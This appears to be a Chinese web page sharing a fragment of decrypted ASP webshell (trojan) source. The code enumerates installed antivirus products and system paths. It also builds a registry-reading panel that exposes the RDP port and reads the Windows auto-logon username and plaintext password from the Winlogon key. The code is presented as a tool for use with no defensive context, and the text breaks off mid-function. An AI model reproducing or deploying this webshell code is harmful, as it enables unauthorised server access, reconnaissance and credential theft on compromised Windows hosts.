asp木马代码解密的随机加密webshell

2019-04-01 16:06:22王冬梅

if instr(Pathinfo,"antivirus") Then Response.Write "<li>赛门铁克杀毒软件:支持<br>"
if instr(Pathinfo,"rising") Then Response.Write "<li>瑞星系列杀毒软件:支持<br>"
paths=split(SoftPath,";")
Response.Write "------------------------------------<br>"
Response.Write "系统当前路径变量:<br>"
For i=Lbound(paths) to Ubound(paths)
Response.Write "<li>"&paths(i)&"<br>"
next
end Function

Function TRegedit()
dim WSHShell,isReadstr
dim autoLoginPath,autoLoginEnableKey,autoLoginUserKey,autoLoginpwdKey
dim autoLoginEnable,autoLoginUser,autoLoginpwd
RW="<br><table width='600' bgcolor='menu' border='0' cellspacing='1' cellpadding='0' align='center'><form action='"&URL&"?Action=TRegedit' method='post'>"
RW=RW & "<tr><td height='20' align='center' bgcolor='menu'>注册表键值读取操作</td></tr>"
RW=RW & "<tr><td bgcolor='#FFFFFF' height='20'> 快速通道:<a href='?Action=TRegedit&TRPath=HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp&TRName=PortNumber'>[终端端口]</a>"
RW=RW & " <a href='?Action=TRegedit&TRPath=HKLMSYSTEMCurrentControlSetControl ComputerNameComputerName&TRName=ComputerName'>[本机名称]</a& gt;"
RW=RW & " <a href='?Action=TRegedit&id=AutoLogon'>[自动登录信息]</a>"
RW=RW & "</td></tr>"
RW=RW & "<tr><td bgcolor='#FFFFFF'> 项路径:<input name='TRPath' value='" & Request("TRPath") & "' style='width:520'></td></tr>"
RW=RW & "<tr><td bgcolor='#FFFFFF'> 值名称:<input name='TRName' value='" & Request("TRName") & "' style='width:200'> <input type='submit' value='确认' class='submit'></td></tr></form>"
RW=RW & "<tr><td bgcolor='#FFFFFF'> 例 如:读取终端端口<br> 项路径:HKEY_LOCAL_MACHINESYSTEM CurrentControlSetControlTerminal ServerWinStationsRDP-Tcp<br>"
RW=RW & " 值名称:PortNumber</td></tr>"

if Request("id")="AutoLogon" then
set WSHShell=Server.CreateObject(ObT(1,0))
autoLoginPath="HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"
autoLoginEnableKey="AutoAdminLogon"
autoLoginUserKey="DefaultUserName"
autoLoginpwdKey="DefaultPassword"
autoLoginEnable=WSHShell.RegRead(autoLoginPath & autoLoginEnableKey)
if autoLoginEnable=0 then
RW=RW & "<tr><td bgcolor='#FFFFFF'><br> 系统自动登录功能未开启</td></tr></table>"
else
autoLoginUser=WSHShell.RegRead(autoLoginPath & autoLoginUserKey)
RW=RW & "<tr><td bgcolor='#FFFFFF'><br> 自动登录的系统帐户:" & autoLoginUser & "<br>"
On Error Resume Next
autoLoginpwd=WSHShell.RegRead(autoLoginPath & autoLoginpwdKey)
If Err Then Err.Clear
RW=RW & " 自动登录的帐户密码:" & autoLoginpwd & "</td></tr></table>"